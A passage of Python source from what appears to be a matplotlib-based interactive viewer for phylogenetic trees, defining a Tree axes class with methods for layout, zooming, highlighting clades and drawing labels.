self.figure.canvas.draw_idle()\n\n        ##     for root in self.root:\n        ##         for node in root.iternodes():\n        ##             if node.label and (s in node.label):\n        ##                 self.highlighted.add(node)\n        ## self.highlight()\n\n    def home(self):\n        for p in self.plot: p.home()\n\n\ndef connect_events(canvas):\n    mpl_connect = canvas.mpl_connect\n    mpl_connect(\"button_press_event\", onclick)\n    mpl_connect(\"button_release_event\", onbuttonrelease)\n    mpl_connect(\"scroll_event\", onscroll)\n    mpl_connect(\"pick_event\", onpick)\n    mpl_connect(\"motion_notify_event\", ondrag)\n    mpl_connect(\"key_press_event\", onkeypress)\n    mpl_connect(\"axes_enter_event\", axes_enter)\n    mpl_connect(\"axes_leave_event\", axes_leave)\n\nclass UpdatingRect(Rectangle):\n    def __call__(self, p):\n        self.set_bounds(*p.viewLim.bounds)\n        p.figure.canvas.draw_idle()\n\nclass Tree(Axes):\n    \"\"\"\n    matplotlib.axes.Axes subclass for rendering trees.\n    \"\"\"\n    def __init__(self, fig, rect, *args, **kwargs):\n        self.root = None\n        self.app = kwargs.pop(\"app\", None)\n        self.support = kwargs.pop(\"support\", 70.0)\n        self.scaled = kwargs.pop(\"scaled\", True)\n        self.leaflabels = kwargs.pop(\"leaflabels\", True)\n        self.branchlabels = kwargs.pop(\"branchlabels\", True)\n        self._mark_named = kwargs.pop(\"mark_named\", True)\n        self.name = None\n        self.leaf_fontsize = kwargs.pop(\"leaf_fontsize\", 10)\n        self.branch_fontsize = kwargs.pop(\"branch_fontsize\", 10)\n        self.branch_width = kwargs.pop(\"branch_width\", 1)\n        self.branch_color = kwargs.pop(\"branch_color\", \"black\")\n        self.interactive = kwargs.pop(\"interactive\", True)\n        self.decorators = kwargs.pop(\"decorators\", [])\n        ## if self.decorators:\n        ##     print >> sys.stderr, \"got %s decorators\" % len(self.decorators)\n        self.xoff = kwargs.pop(\"xoff\", 0)\n        self.yoff = kwargs.pop(\"yoff\", 0)\n        self.highlight_support = kwargs.pop(\"highlight_support\", True)\n        self.smooth_xpos = kwargs.pop(\"smooth_xpos\", 0)\n        Axes.__init__(self, fig, rect, *args, **kwargs)\n        self.nleaves = 0\n        self.highlighted = None\n        self.highlightpatch = None\n        self.pan_start = None\n        if not self.decorators:\n            self.decorators = [\n                (\"__selected_nodes__\", (Tree.highlight_selected_nodes, [], {}))\n                ]\n        self.name2dec = dict([ (x[0], i) for i, x in\n                               enumerate(self.decorators) ])\n        self._active = False\n\n        if self.interactive:\n            self.callbacks.connect(\"ylim_changed\", self.draw_labels)\n        self.selector = RectangleSelector(self, self.rectselect,\n                                          useblit=True)\n        def f(e):\n            if e.button != 1: return True\n            else: return RectangleSelector.ignore(self.selector, e)\n        self.selector.ignore = f\n        self.xoffset_value = 0.05\n        self.selected_nodes = set()\n        self.leaf_offset = 4\n        self.leaf_valign = \"center\"\n        self.leaf_halign = \"left\"\n        self.branch_offset = -5\n        self.branch_valign = \"center\"\n        self.branch_halign = \"right\"\n\n        self.spines[\"top\"].set_visible(False)\n        self.spines[\"left\"].set_visible(False)\n        self.spines[\"right\"].set_visible(False)\n        self.xaxis.set_ticks_position(\"bottom\")\n\n    def p2y(self):\n        \"Convert a single display point to y-units\"\n        transform = self.transData.inverted().transform\n        return transform([0,1])[1] - transform([0,0])[1]\n\n    def p2x(self):\n        \"Convert a single display point to y-units\"\n        transform = self.transData.inverted().transform\n        return transform([0,0])[1] - transform([1,0])[1]\n\n    def decorate(self, func, *args, **kwargs):\n        \"\"\"\n        Decorate the tree with function *func*.  If *kwargs* contains\n        the key-value pair ('store', *name*), the decorator function\n        is stored in self.decorators and called upon every redraw.\n        \"\"\"\n        name = kwargs.pop(\"store\", None)\n        if name:\n            if name in self.name2dec:\n                i = self.name2dec[name]\n                self.decorators[i] = (name, (func, args, kwargs))\n            else:\n                self.decorators.append((name, (func, args, kwargs)))\n                self.name2dec = dict([ (x[0], i) for i, x in\n                                       enumerate(self.decorators) ])\n\n        func(self, *args, **kwargs)\n\n    def rmdec(self, name):\n        if name in self.name2dec:\n            i = self.name2dec[name]\n            del self.decorators[i]\n            self.name2dec = dict([ (x[0], i) for i, x in\n                                   enumerate(self.decorators) ])\n\n\n    def flip(self):\n        \"\"\"\n        Reverse the direction of the x-axis.\n        \"\"\"\n        self.leaf_offset *= -1\n        self.branch_offset *= -1\n        ha = self.leaf_halign\n        self.leaf_halign = \"right\" if ha == \"left\" else \"left\"\n        ha = self.branch_halign\n        self.branch_halign = \"right\" if ha == \"left\" else \"left\"\n        self.invert_xaxis()\n        self.redraw()\n\n    def xoffset(self):\n        \"\"\"Space below x axis to show tick labels.\"\"\"\n        if self.scaled:\n            return self.xoffset_value\n        else:\n            return 0\n\n    def save_newick(self, filename):\n        \"\"\"\n        Save tree as a newick file.\n\n        Args:\n            filename (str): Path to file.\n\n        \"\"\"\n        if os.path.exists(filename):\n            s = raw_input(\"File %s exists, enter 'y' to overwrite \").strip()\n            if (s and s.lower() != 'y') or (not s):\n                return\n        import newick\n        f = file(filename, \"w\")\n        f.write(newick.string(self.root))\n        f.close()\n\n    def set_scaled(self, scaled):\n        flag = self.scaled != scaled\n        self.scaled = scaled\n        return flag\n\n    def cbar(self, nodes, color=None, label=None, x=None, width=8, xoff=10,\n             showlabel=True, mrca=True):\n        \"\"\"\n        Draw a 'clade' bar (i.e., along the y-axis) indicating a\n        clade.  *nodes* are assumed to be one or more nodes in the\n        tree.  If just one, it should be the internal node\n        representing the clade of interest; otherwise, the clade of\n        interest is the most recent common ancestor of the specified\n        nodes.  *label* is an optional string to be drawn next to the\n        bar, *offset* by the specified number of display units.  If\n        *label* is ``None`` then the clade's label is used instead.\n\n        Args:\n            nodes: Node or list of nodes\n            color (str): Color of the bar. Optional, defaults to None.\n            label (str): Optional label for bar. If None, the clade's\n              label is used instead. Defaults to None.\n            width (float): Width of bar\n            xoff (float): Offset from label to bar\n            showlabel (bool): Whether or not to draw the label\n            mrca: RR: Not quite sure what this does -CZ\n\n        \"\"\"\n        xlim = self.get_xlim(); ylim = self.get_ylim()\n        if color is None: color = _tango.next()\n        transform = self.transData.inverted().transform\n\n        if mrca:\n            if isinstance(nodes, tree.Node):\n                spec = nodes\n            elif type(nodes) in types.StringTypes:\n                spec = self.root.get(nodes)\n            else:\n                spec = self.root.mrca(nodes)\n\n            assert spec in self.root\n            label = label or spec.label\n            leaves = spec.leaves()\n\n        else:\n            leaves = nodes\n\n        n2c = self.n2c\n\n        y = sorted([ n2c[n].y for n in leaves ])\n        ymin = y[0]; ymax = y[-1]; y = (ymax+ymin)*0.5\n\n        if x is None:\n            x = max([ n2c[n].x for n in leaves ])\n            _x = 0\n            for lf in leaves:\n                txt = self.node2label.get(lf)\n                if txt and txt.get_visible():\n                    _x = max(_x, transform(txt.get_window_extent())[1,0])\n            if _x > x: x = _x\n\n        v = sorted(list(transform(((0,0),(xoff,0)))[:,0]))\n        xoff = v[1]-v[0]\n        x += xoff\n\n        Axes.plot(self, [x,x], [ymin, ymax], '-', linewidth=width, color=color)\n\n        if showlabel and label:\n            xo = self.leaf_offset\n            if xo > 0:\n                xo += width*0.5\n            else:\n                xo -= width*0.5\n            txt = self.annotate(\n                label,\n                xy=(x, y),\n                xytext=(xo, 0),\n                textcoords=\"offset points\",\n                verticalalignment=self.leaf_valign,\n                horizontalalignment=self.leaf_halign,\n                fontsize=self.leaf_fontsize,\n                clip_on=True,\n                picker=False\n                )\n\n        self.set_xlim(xlim); self.set_ylim(ylim)\n\n    def anctrace(self, anc, descendants=None, width=4, color=\"blue\"):\n        \"\"\"\n        RR: This function gives me a 'list index out of range' error\n        when I try to use it -CZ\n        \"\"\"\n        if not descendants:\n            descendants = anc.leaves()\n        else:\n            for d in descendants:\n                assert d in anc\n\n        nodes = []\n        for d in descendants:\n            v = d.rootpath(anc)\n            if v:\n                nodes.extend(v)\n        nodes = set(nodes)\n        nodes.remove(anc)\n        self.trace_branches(nodes, width, color)\n\n    def trace_branches(self, nodes, width=4, color=\"blue\"):\n        n2c = self.n2c\n        M = Path.MOVETO; L = Path.LINETO\n        verts = []\n        codes = []\n        for c, pc in [ (n2c[x], n2c[x.parent]) for x in nodes\n                       if (x in n2c) and x.parent ]:\n            x = c.x; y = c.y\n            px = pc.x; py = pc.y\n            verts.append((x, y)); codes.append(M)\n            verts.append((px, y)); codes.append(L)\n            verts.append((px, py)); codes.append(L)\n        px, py = verts[-1]\n        verts.append((px, py)); codes.append(M)\n\n        p = PathPatch(Path(verts, codes), fill=False,\n                      linewidth=width, edgecolor=color)\n        self.add_patch(p)\n        self.figure.canvas.draw_idle()\n        return p\n\n    def highlight_selected_nodes(self, color=\"green\"):\n        xlim = self.get_xlim()\n        ylim = self.get_ylim()\n        get = self.n2c.get\n        coords = list(filter(None, [ get(n) for n in self.selected_nodes ]))\n        x = [ c.x for c in coords ]\n        y = [ c.y for c in coords ]\n        if x and y:\n            self.__selected_highlight_patch = self.scatter(x, y, s=60, c=color,\n                                                           zorder=100)\n        self.set_xlim(xlim)\n        self.set_ylim(ylim)\n        self.figure.canvas.draw_idle()\n\n    def select_nodes(self, nodes=None, add=False):\n        try:\n            self.__selected_highlight_patch.remove()\n            self.figure.canvas.draw_idle()\n        except:\n            pass\n        if add:\n            if nodes:\n                self.selected_nodes = self.selected_nodes | nodes\n            if hasattr(self, \"app\") and self.app:\n                self.app.on_nodes_selected(self)\n            self.highlight_selected_nodes()\n        else:\n            if nodes:\n                self.selected_nodes = nodes\n                if hasattr(self, \"app\") and self.app:\n                    self.app.on_nodes_selected(self)\n                self.highlight_selected_nodes()\n            else:\n                self.selected_nodes = set()\n\n    def rectselect(self, e0, e1):\n        xlim = self.get_xlim()\n        ylim = self.get_ylim()\n        s = set()\n        x0, x1 = sorted((e0.xdata, e1.xdata))\n        y0, y1 = sorted((e0.ydata, e1.ydata))\n        add = e0.key == 'shift'\n        for n, c in self.n2c.items():\n            if (x0 < c.x < x1) and (y0 < c.y < y1):\n                s.add(n)\n        self.select_nodes(nodes = s, add = add)\n        self.set_xlim(xlim)\n        self.set_ylim(ylim)\n        ## if s:\n        ##     print \"Selected:\"\n        ##     for n in s:\n        ##         print \" \", n\n\n    def picked(self, e):\n        if hasattr(self, \"app\") and self.app:\n            self.app.picked(e)\n\n    def window2data(self, expandx=1.0, expandy=1.0):\n        \"\"\"\n        return the data coordinates ((x0, y0),(x1, y1)) of the plot\n        window, expanded by relative units of window size\n        \"\"\"\n        bb = self.get_window_extent()\n        bbx = bb.expanded(expandx, expandy)\n        return self.transData.inverted().transform(bbx.get_points())\n\n    def get_visible_nodes(self, labeled_only=False):\n        ## transform = self.transData.inverted().transform\n        ## bb = self.get_window_extent()\n        ## bbx = bb.expanded(1.1,1.1)\n        ## ((x0, y0),(x1, y1)) = transform(bbx.get_points())\n        ((x0, y0),(x1, y1)) = self.window2data(1.1, 1.1)\n        #print \"visible_nodes points\", x0, x1, y0, y1\n\n        if labeled_only:\n            def f(v): return (y0 < v[0] < y1) and (v[2] in self.node2label)\n        else:\n            def f(v): return (y0 < v[0] < y1)\n        for y, x, n in filter(f, self.coords):\n            yield (n, x, y)\n\n    def zoom_cxy(self, x=0.1, y=0.1, cx=None, cy=None):\n        \"\"\"\n        Zoom the x and y axes in by the specified proportion of the\n        current view, with a fixed data point (cx, cy)\n        \"\"\"\n        transform = self.transData.inverted().transform\n        xlim = self.get_xlim(); xmid = sum(xlim)*0.5\n        ylim = self.get_ylim(); ymid = sum(ylim)*0.5\n        bb = self.get_window_extent()\n        bbx = bb.expanded(1.0-x,1.0-y)\n        points = transform(bbx.get_points())\n        x0, x1 = points[:,0]; y0, y1 = points[:,1]\n        deltax = xmid-x0; deltay = ymid-y0\n        cx = cx or xmid; cy = cy or ymid\n        xoff = (cx-xmid)*x\n        self.set_xlim(xmid-deltax+xoff, xmid+deltax+xoff)\n        yoff = (cy-ymid)*y\n        self.set_ylim(ymid-deltay+yoff, ymid+deltay+yoff)\n        self.adjust_xspine()\n\n    def zoom(self, x=0.1, y=0.1, cx=None, cy=None):\n        \"\"\"\n        Zoom the x and y axes in by the specified proportion of the\n        current view.\n        \"\"\"\n        # get the function to convert display coordinates to data\n        # coordinates\n        transform = self.transData.inverted().transform\n        xlim = self.get_xlim()\n        ylim = self.get_ylim()\n        bb = self.get_window_extent()\n        bbx = bb.expanded(1.0-x,1.0-y)\n        points = transform(bbx.get_points())\n        x0, x1 = points[:,0]; y0, y1 = points[:,1]\n        deltax = x0 - xlim[0]; deltay = y0 - ylim[0]\n        self.set_xlim(xlim[0]+deltax, xlim[1]-deltax)\n        self.set_ylim(ylim[0]+deltay, ylim[1]-deltay)\n        self.adjust_xspine()\n\n    def center_y(self, y):\n        \"\"\"\n        Center the y-axis of the canvas on the given y value\n        \"\"\"\n        ymin, ymax = self.get_ylim()\n        yoff = (ymax - ymin) * 0.5\n        self.set_ylim(y-yoff, y+yoff)\n        self.adjust_xspine()\n\n    def center_x(self, x, offset=0.3):\n        \"\"\"\n        Center the x-axis of the canvas on the given x value\n        \"\"\"\n        xmin, xmax = self.get_xlim()\n        xspan = xmax - xmin\n        xoff = xspan*0.5 + xspan*offset\n        self.set_xlim(x-xoff, x+xoff)\n        self.adjust_xspine()\n\n    def center_node(self, node):\n        \"\"\"\n        Center the canvas on the given node\n        \"\"\"\n        c = self.n2c[node]\n        y = c.y\n        self.center_y(y)\n        x = c.x\n        self.center_x(x, 0.2)\n\n    def do_highlight_support(self):\n        \"\"\"\n        TODO: reconfigure this, insert into self.decorators\n        \"\"\"\n        if self.support:\n            lim = float(self.support)\n\n        M = Path.MOVETO; L = Path.LINETO\n\n        verts = []; codes = []\n        segments = []\n        def f(n):\n            if n.isleaf or not n.parent: return False\n            try: return float(n.label) >= lim\n            except:\n                try: return float(n.support) >= lim\n                except: pass\n            return False\n\n        for node, coords in [ x for x in self.n2c.items() if f(x[0]) ]:\n            x = coords.x; y = coords.y\n            p = node.parent\n            pcoords = self.n2c[p]\n            px = pcoords.x; py = y\n            if self.app and self.app.radial:\n                pc = self.n2c[node.parent]; theta2 = pc.angle\n                px = math.cos(math.radians(coords.angle))*pc.depth\n                py = math.sin(math.radians(coords.angle))*pc.depth\n\n            ## segments.append([(x, y),(px, y)])\n            verts.append((x,y)); codes.append(M)\n            verts.append((px,py)); codes.append(L)\n\n        if verts:\n            patch = PathPatch(Path(verts, codes), fill=False,\n                              linewidth=3, edgecolor='black')\n            self.add_patch(patch)\n\n            ## self.add_artist(Line2D(\n            ##     [x,px], [y,py], lw=3, solid_capstyle=\"butt\", color=\"black\"\n            ##     ))\n\n    def hl(self, s):\n        nodes = self.root.findall(s)\n        if nodes:\n            self.highlight(nodes)\n\n    def hlines(self, nodes, width=5, color=\"red\", xoff=0, yoff=0):\n        offset = IdentityTransform()\n        segs = []; w = []; o = []\n        for n in filter(lambda x:x.parent, nodes):\n            c = self.n2c[n]; p = self.n2c[n.parent]\n            segs.append(((p.x,c.y),(c.x,c.y)))\n            w.append(width); o.append((xoff,yoff))\n        lc = LineCollection(segs, linewidths=w, transOffset=offset, offsets=o)\n        lc.set_color(color)\n        Axes.add_collection(self, lc)\n        ## self.drawstack.append((\"hlines\", [nodes], dict(width=width,\n        ##                                                color=color,\n        ##                                                xoff=xoff,\n        ##                                                yoff=yoff)))\n        self.figure.canvas.draw_idle()\n        return lc\n\n    def hardcopy(self, relwidth=0.5, leafpad=1.5):\n        p = HC.TreeFigure(self.root, relwidth=relwidth, leafpad=leafpad,\n                          name=self.name, support=self.support,\n                          leaf_fontsize=self.leaf_fontsize,\n                          branch_fontsize=self.branch_fontsize,\n                          branch_width=self.branch_width,\n                          branch_color=self.branch_color,\n                          highlight_support=self.highlight_support,\n                          branchlabels=self.branchlabels,\n                          decorators=self.decorators,\n                          leaflabels=self.leaflabels,\n                          mark_named=self._mark_named,\n                          xlim=self.get_xlim(),\n                          ylim=self.get_ylim())\n        return p\n\n    def highlight(self, nodes=None, width=5, color=\"red\"):\n        if self.highlightpatch:\n            try:\n                self.highlightpatch.remove()\n            except:\n                pass\n        if not nodes:\n            return\n\n        if len(nodes)>1:\n            mrca = self.root.mrca(nodes)\n            if not mrca:\n                return\n        else:\n            mrca = list(nodes)[0]\n\n        M = Path.MOVETO; L = Path.LINETO\n        verts = []\n        codes = []\n        seen = set()\n        for node, coords in [ x for x in self.n2c.items() if x[0] in nodes ]:\n            x = coords.x; y = coords.y\n            p = node.parent\n            while p:\n                pcoords = self.n2c[p]\n                px = pcoords.x; py = pcoords.y\n                if node not in seen:\n                    verts.append((x, y)); codes.append(M)\n                    verts.append((px, y)); codes.append(L)\n                    verts.append((px, py)); codes.append(L)\n                    seen.add(node)\n                if p == mrca or node == mrca:\n                    break\n                node = p\n                coords = self.n2c[node]\n                x = coords.x; y = coords.y\n                p = node.parent\n        px, py = verts[-1]\n        verts.append((px, py)); codes.append(M)\n\n        self.highlightpath = Path(verts, codes)\n        self.highlightpatch = PathPatch(\n            self.highlightpath, fill=False, linewidth=width, edgecolor=color,\n            capstyle='round', joinstyle='round'\n            )\n        return self.add_patch(self.highlightpatch)\n\n    def find(self, s):\n        \"\"\"\n        Find node(s) matching pattern s and zoom to node(s)\n        \"\"\"\n        nodes = list(self.root.find(s))\n        if nodes:\n            self.zoom_nodes(nodes)\n\n    def zoom_nodes(self, nodes, border=1.2):\n        y0, y1 = self.get_ylim(); x0, x1 = self.get_xlim()\n        y0 = max(0, y0); y1 = min(1, y1)\n\n        n2c = self.n2c\n        v = [ n2c[n] for n in nodes ]\n        ymin = min([ c.y for c in v ])\n        ymax = max([ c.y for c in v ])\n        xmin = min([ c.x for c in v ])\n        xmax = max([ c.x for c in v ])\n        bb = Bbox(((xmin,ymin), (xmax, ymax)))\n\n        # convert data coordinates to display coordinates\n        transform = self.transData.transform\n        disp_bb = [Bbox(transform(bb))]\n        for n in nodes:\n            if n.isleaf:\n                txt = self.node2label[n]\n                if txt.get_visible():\n                    disp_bb.append(txt.get_window_extent())\n\n        disp_bb = Bbox.union(disp_bb).expanded(border, border)\n\n        # convert back to data coordinates\n        points = self.transData.inverted().transform(disp_bb)\n        x0, x1 = points[:,0]\n        y0, y1 = points[:,1]\n        self.set_xlim(x0, x1)\n        self.set_ylim(y0, y1)\n\n    def zoom_clade(self, anc, border=1.2):\n        if anc.isleaf:\n            self.center_node(anc)\n\n        else:\n            self.zoom_nodes(list(anc), border)\n\n    def draw_leaf_labels(self, *args):\n        leaves = list(filter(lambda x:x[0].isleaf,\n                             self.get_visible_nodes(labeled_only=True)))\n        psep = self.leaf_pixelsep()\n        fontsize = min(self.leaf_fontsize, max(psep, 8))\n        n2l = self.node2label\n        transform = self.transData.transform\n        sub = operator.sub\n\n        for n in leaves:\n            n2l[n[0]].set_visible(False)\n\n        # draw leaves\n        leaves_drawn = []\n        for n, x, y in leaves:\n            txt = self.node2label[n]\n            if not leaves_drawn:\n                txt.set_visible(True)\n                leaves_drawn.append(txt)\n                self.figure.canvas.draw_idle()\n                continue\n\n            txt2 = leaves_drawn[-1]\n            y0 = y; y1 = txt2.xy[1]\n            sep = sub(*transform(([0,y0],[0,y1]))[:,1])\n            if sep > fontsize:\n                txt.set_visible(True)\n                txt.set_size(fontsize)\n                leaves_drawn.append(txt)\n        self.figure.canvas.draw_idle()\n\n        if leaves_drawn:\n            leaves_drawn[0].set_size(fontsize)\n\n        return fontsize\n\n    def draw_labels(self, *args):\n        fs = max(10, self.draw_leaf_labels())\n        nodes = self.get_visible_nodes(labeled_only=True)\n        ## print [ x[0].id for x in nodes ]\n        branches = list(filter(lambda x:(not x[0].isleaf), nodes))\n        n2l = self.node2label\n        for n, x, y in branches:\n            t = n2l[n]\n            t.set_visible(True)\n            t.set_size(fs)\n\n    def unclutter(self, *args):\n        nodes = self.get_visible_nodes(labeled_only=True)\n        branches = list(filter(lambda x:(not x[0].isleaf), nodes))\n        psep = self.leaf_pixelsep()\n        n2l = self.node2label\n        fontsize = min(self.leaf_fontsize*1.2, max(psep, self.leaf_fontsize))\n\n        drawn = []\n        for n, x, y in branches:\n            txt = n2l[n]\n            try:\n                bb = txt.get_window_extent().expanded(2, 2)\n                vis = True\n                for n2 in reversed(drawn):\n                    txt2 = n2l[n2]\n                    if bb.overlaps(txt2.get_window_extent()):\n                        txt.set_visible(False)\n                        vis = False\n                        self.figure.canvas.draw_idle()\n                        break\n                if vis:\n                    txt.set_visible(True)\n                    txt.set_size(fontsize)\n                    self.figure.canvas.draw_idle()\n                    drawn.append(n)\n            except RuntimeError:\n                pass\n                ## txt.set_visible(True)\n                ## txt.set_size(fontsize)\n                ## drawn.append(n)\n                ## self.figure.canvas.draw_idle()\n\n    def leaf_pixelsep(self):\n        y0, y1 = self.get_ylim()\n        y0 = max(0, y0)\n        y1 = min(self.nleaves, y1)\n        display_points = self.transData.transform(((0, y0), (0, y1)))\n        # height in pixels (visible y data extent)\n        height = operator.sub(*reversed(display_points[:,1]))\n        pixelsep = height/((y1-y0)/self.leaf_hsep)\n        return pixelsep\n\n    def ypp(self):\n        y0, y1 = self.get_ylim()\n        p0, p1 = self.transData.transform(((0, y0), (0, y1)))[:,1]\n        return (y1-y0)/float(p1-p0)\n\n    def draw_labels_old(self, *args):\n        if self.nleaves:\n            y0, y1 = self.get_ylim()\n            y0 = max(0, y0); y1 = min(1, y1)\n\n            display_points = self.transData.transform(((0, y0), (0, y1)))\n            # height in pixels (visible y data extent)\n            height = operator.sub(*reversed(display_points[:,1]))\n            pixelsep = height/((y1-y0)/self.leaf_hsep)\n            fontsize = min(max(pixelsep-2, 8), 12)\n\n            if pixelsep >= 8:\n                for node, txt in self.node2label.items():\n                    if node.isleaf:\n                        if self.leaflabels:\n                            c = self.n2c[node]\n                            x = c.x; y = c.y\n                            if (y0 < y < y1):\n                                txt.set_size(fontsize)\n                                txt.set_visible(True)\n                    else:\n                        if self.branchlabels:\n                            c = self.n2c[node]\n                            x = c.x; y = c.y\n                            if (y0 < y < y1):\n                                txt.set_size(fontsize)\n                                txt.set_visible(True)\n            elif pixelsep >= 4:\n                for node, txt in self.node2label.items():\n                    if node.isleaf:\n                        txt.set_visible(False)\n                    else:\n                        if self.branchlabels:\n                            c = self.n2c[node]\n                            x = c.x; y = c.y\n                            if (y0 < y < y1):\n                                txt.set_size(fontsize)\n                                txt.set_visible(True)\n            else:\n                for node, txt in self.node2label.items():\n                    txt.set_visible(False)\n            self.figure.canvas.draw_idle()\n\n    def redraw(self, home=False, layout=True):\n        \"\"\"\n        Replot the tree\n        \"\"\"\n        xlim = self.get_xlim()\n        ylim = self.get_ylim()\n        self.cla()\n        if layout:\n            self.layout()\n        self.plot_tree()\n        if self.interactive:\n            self.callbacks.connect(\"ylim_changed\", self.draw_labels)\n\n        if home:\n            self.home()\n        else:\n            self.set_xlim(*xlim)\n            self.set_ylim(*ylim)\n\n    def set_name(self, name):\n        self.name = name\n        if name:\n            at = AnchoredText(\n                self.name, loc=2, frameon=True,\n                prop=dict(size=12, weight=\"bold\")\n                )\n            at.patch.set_linewidth(0)\n            at.patch.set_facecolor(\"white\")\n            at.patch.set_alpha(0.6)\n            self.add_artist(at)\n            return at\n\n    def _path_to_parent(self, node):\n        \"\"\"\n        For use in drawing branches\n        \"\"\"\n        c = self.n2c[node]; x = c.x; y = c.y\n        pc = self.n2c[node.parent]; px = pc.x; py = pc.y\n        M = Path.MOVETO; L = Path.LINETO\n        verts = [(x, y), (px, y), (px, py)]\n        codes = [M, L, L]\n        return verts, codes\n        ## return [PathPatch(Path(verts, codes), fill=False,\n        ##                   linewidth=width or self.branch_width,\n        ##                   edgecolor=color or self.branch_color)]\n\n\n    def layout(self):\n        self.n2c = cartesian(self.root, scaled=self.scaled, yunit=1.0,\n                             smooth=self.smooth_xpos)\n        for c in self.n2c.values():\n            c.x += self.xoff; c.y += self.yoff\n        sv = sorted([\n            [c.y, c.x, n] for n, c in self.n2c.items()\n            ])\n        self.coords = sv#numpy.array(sv)\n        ## n2c = self.n2c\n        ## self.node2linesegs = {}\n        ## for node, coords in n2c.items():\n        ##     x = coords.x; y = coords.y\n        ##     v = [(x,y)]\n        ##     if node.parent:\n        ##         pcoords = n2c[node.parent]\n        ##         px = pcoords.x; py = pcoords.y\n        ##         v.append((px,y))\n        ##         v.append((px,py))\n        ##         self.node2linesegs[node] = v\n\n    def set_root(self, root):\n        self.root = root\n        self.leaves = root.leaves()\n        self.nleaves = len(self.leaves)\n        self.leaf_hsep = 1.0#/float(self.nleaves)\n\n        for n in root.descendants():\n            if n.length is None:\n                self.scaled=False; break\n        self.layout()\n\n    def plot_tree(self, root=None, **kwargs):\n        \"\"\"\n        Draw branches and labels\n        \"\"\"\n        if root and not self.root:\n            self.set_root(root)\n\n        if self.interactive: pyplot.ioff()\n\n        if \"branchlabels\" in kwargs:\n            self.branchlabels = kwargs[\"branchlabels\"]\n        if \"leaflabels\" in kwargs:\n            self.leaflabels = kwargs[\"leaflabels\"]\n        self.yaxis.set_visible(False)\n        self.create_branch_artists()\n        self.create_label_artists()\n        if self.highlight_support:\n            self.do_highlight_support()\n        self.mark_named()\n        ## self.home()\n\n        for k, v in self.decorators:\n            func, args, kwargs = v\n            func(self, *args, **kwargs)\n\n        self.set_name(self.name)\n        self.adjust_xspine()\n\n        if self.interactive: pyplot.ion()\n\n        labels = [ x.label for x in self.root.leaves() ]\n        def fmt(x, pos=None):\n            if x<0: return \"\"\n            try: return labels[int(round(x))]\n            except: pass\n            return \"\"\n        #self.yaxis.set_major_formatter(FuncFormatter(fmt))\n\n        return self\n\n    def clade_dimensions(self):\n        n2c = self.n2c\n        d = {}\n        def recurse(n, n2c, d):\n            v = []\n            for c in n.children:\n                recurse(c, n2c, d)\n                if c.isleaf:\n                    x, y = n2c[c].point()\n                    x0 = x1 = x; y0 = y1 = y\n                else:\n                    x0, x1, y0, y1 = d[c]\n                v.append((x0, x1, y0, y1))\n            if v:\n                x0 = n2c[n].x\n                x1 = max([ x[1] for x in v ])\n                y0 = min([ x[2] for x in v ])\n                y1 = max([ x[3] for x in v ])\n                d[n] = (x0, x1, y0, y1)\n        recurse(self.root, n2c, d)\n        return d\n\n    def clade_height_pixels(self):\n        ypp = self.ypp()\n        d = self.clade_dimensions()\n        h = {}\n        for n, (x0, x1, y0, y1) in d.items():\n            h[n] = (y1-y0)/ypp\n        return h\n\n    def _decimate_nodes(self, n=500):\n        leaves = self.leaves\n        nleaves = len(leaves)\n        if nleaves > n:\n            indices = numpy.linspace(0, nleaves-1, n).astype(int)\n            leaves = [ leaves[i] for i in indices ]\n            return set(list(chain.from_iterable([ list(x.rootpath())\n                                                  for x in leaves ])))\n        else:\n            return self.root\n\n    def create_branch_artists(self):\n        \"\"\"\n        Use MPL Paths to draw branches\n        \"\"\"\n        ## patches = []\n        verts = []; codes = []\n        for node in self.root.descendants():\n            v, c = self._path_to_parent(node)\n            verts.extend(v); codes.extend(c)\n        self.branchpatch = PathPatch(\n            Path(verts, codes), fill=False,\n            linewidth=self.branch_width,\n            edgecolor=self.branch_color\n            )\n        self.add_patch(self.branchpatch)\n        ## for node in self._decimate_nodes():\n        ##     if node.parent:\n        ##         for p in self._path_to_parent(node):\n        ##             patches.append(p)\n        ## self.branch_patches = PatchCollection(patches, match_original=True)\n        ## self.add_collection(self.branch_patches)\n\n        ## print \"enter: create_branch_artists\"\n        ## self.node2branch = {}\n        ## for node, segs in self.node2linesegs.items():\n        ##     line = Line2D(\n        ##         [x[0] for x in segs], [x[1] for x in segs],\n        ##         lw=self.branch_width, color=self.branch_color\n        ##         )\n        ##     line.set_visible(False)\n        ##     Axes.add_artist(self, line)\n        ##     self.node2branch[node] = line\n\n        ## d = self.node2linesegs\n        ## segs = [ d[n] for n in self.root if (n in d) ]\n\n        ## dims = self.clade_dimensions(); ypp = self.ypp()\n        ## def recurse(n, dims, clades, terminals):\n        ##     stop = False\n        ##     h = None\n        ##     v = dims.get(n)\n        ##     if v: h = (v[3]-v[2])/ypp\n        ##     if (h and (h < 20)) or (not h):\n        ##         stop = True\n        ##         terminals.append(n)\n        ##     if not stop:\n        ##         clades.append(n)\n        ##         for c in n.children:\n        ##             recurse(c, dims, clades, terminals)\n        ## clades = []; terminals = []\n        ## recurse(self.root, dims, clades, terminals)\n        ## segs = [ d[n] for n in self.root if (n in d) and (n in clades) ]\n        ## for t in terminals:\n        ##     if t.isleaf:\n        ##         segs.append(d[t])\n        ##     else:\n        ##         x0, x1, y0, y1 = dims[t]\n        ##         x, y = self.n2c[t].point()\n        ##         px, py = self.n2c[t.parent].point()\n        ##         segs.append(((px,py), (px,y), (x,y), (x1, y0), (x1,y1), (x,y)))\n\n        ## lc = LineCollection(segs, linewidths=self.branch_width,\n        ##                     colors = self.branch_color)\n        ## self.branches_linecollection = Axes.add_collection(self, lc)\n        ## print \"leave: create_branch_artists\"\n\n    def create_label_artists(self):\n        ## print \"enter: create_label_artists\"\n        self.node2label = {}\n        n2c = self.n2c\n        for node, coords in n2c.items():\n            x = coords.x; y = coords.y\n            if node.isleaf and node.label and self.leaflabels:\n                txt = self.annotate(\n                    node.label,\n                    xy=(x, y),\n                    xytext=(self.leaf_offset, 0),\n                    textcoords=\"offset points\",\n                    verticalalignment=self.leaf_valign,\n                    horizontalalignment=self.leaf_halign,\n                    fontsize=self.leaf_fontsize,\n                    clip_on=True,\n                    picker=True\n                )\n                txt.node = node\n                txt.set_visible(False)\n                self.node2label[node] = txt\n\n            if (not node.isleaf) and node.label and self.branchlabels:\n                txt = self.annotate(\n                    node.label,\n                    xy=(x, y),\n                    xytext=(self.branch_offset,0),\n                    textcoords=\"offset points\",\n                    verticalalignment=self.branch_valign,\n                    horizontalalignment=self.branch_halign,\n                    fontsize=self.branch_fontsize,\n                    